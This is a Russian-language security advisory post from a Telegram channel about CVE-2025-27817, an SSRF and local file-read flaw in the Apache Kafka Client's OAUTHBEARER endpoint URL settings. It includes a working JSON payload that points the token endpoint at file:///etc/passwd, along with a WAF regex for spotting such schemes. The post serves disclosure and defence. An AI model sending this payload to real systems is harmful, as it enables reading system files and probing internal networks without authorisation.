TGViewer
Четыре луча Четыре луча @four_rays · 4.02K subscribers
Post #98 4.46K
SSRF в Apache Kafka Client CVE-2025-27817

CVE-2025-27817 обнаружена в Apache Kafka Client и затрагивает механизм аутентификации SASL/OAUTHBEARER. Эта уязвимость позволяет злоумышленнику указать произвольные значения параметров sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что может привести к реализации SSRF.

❗️Уязвимы версии 3.1.0 – 3.9.0 — рекомендуем обновиться.

Метрики
Base core: 7,5 (High)
CWE: CWE 918


Описание уязвимости

Kafka Client позволяет указать URL-адреса в конфигурации:
sasl.oauthbearer.token.endpoint.url
sasl.oauthbearer.jwks.endpoint.url

sasl.oauthbearer.token.endpoint.urlэто параметр конфигурации в Apache Kafka Client, который указывает URL-адрес сервера аутентификации OAuthBearer, откуда клиент должен получить токен доступа.

sasl.oauthbearer.jwks.endpoint.urlэто параметр конфигурации Apache Kafka Client, который указывает URL для получения JWKS (JSON Web Key Set) — набора ключей, используемых для проверки подписанных OAuth токенов.

Проблема
Kafka не ограничивает допустимые схемы URL — можно подставить:
file:// → приведёт к чтению локального файла и логированию его содержимого.
http:// или https:// → позволяет сделать запрос к произвольному серверу, в том числе во внутренней сети → SSRF.

Пример эксплойта
{
"type": "kafka",
"spec": {
"type": "kafka",
"ioConfig": {
"type": "kafka",
"consumerProperties": {
"bootstrap.servers": "127.0.0.1:1337",
"sasl.mechanism": "OAUTHBEARER",
"security.protocol": "SASL_SSL",
"sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required;"
},
"topic": "xx",
"useEarliestOffset": true

},
"dataSchema": {
"dataSource": "test"
}
}
}

В данном запросе злоумышленник получит содержимое файла /etc/passwd через схему file. А в известном эксплоите обращение идет к эндроинту /druid/indexer/v1/sampler

Как защищаться
На WAF можно написать правило, которое контролировало содержимое ключей sasl.oauthbearer.token.endpoint.url и sasl.oauthbearer.jwks.endpoint.url, что бы в них не передавались схемы http, ftp, php, https, file, data.
Например подобным регулярным выражением
\"\s*sasl\.oauthbearer\.(token|jwks)\.endpoint\.url\s*\":\s*\"\s*(http:\/\/|https:\/\/|file:\/\/|php|data|ftp).*?\"


Возможные исключения: в схемах https, http отсутствие адресов, недоступных для внешних пользователей.
  • 🔥 14
  • 👍 5
  • ❤ 4
  • ⚡ 3
  • 🤔 2
  • 👾 1
More from @four_rays
  1. Sep 23, 2026💣 Click2Shell Click2Shell — это цепочка уязвимостей в WordPress, которая может привести к…
  2. Sep 14, 2026💣 Ржавый код: почему все переходят на Rust и когда аналитику можно его не реверсить Rust…
  3. Sep 11, 2026😳 DFIR diggin’ deeper: неочевидные источники артефактов при расследовании атак Когда стан…
  4. Sep 7, 2026😀 Call for Papers на технострим SOC Forum 2026 еще открыт! Темы: 1️⃣ Offense: актуальные…
  5. Aug 31, 2026☀️ Zimbra, все еще скрывающая боль Ранее мы уже рассказывали о расследовании «Zimbra, скры…
  6. Aug 19, 2026💡 Разберемся с непопулярными артефактами на OffZone 2026 Выбираете, какие выступления пос…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →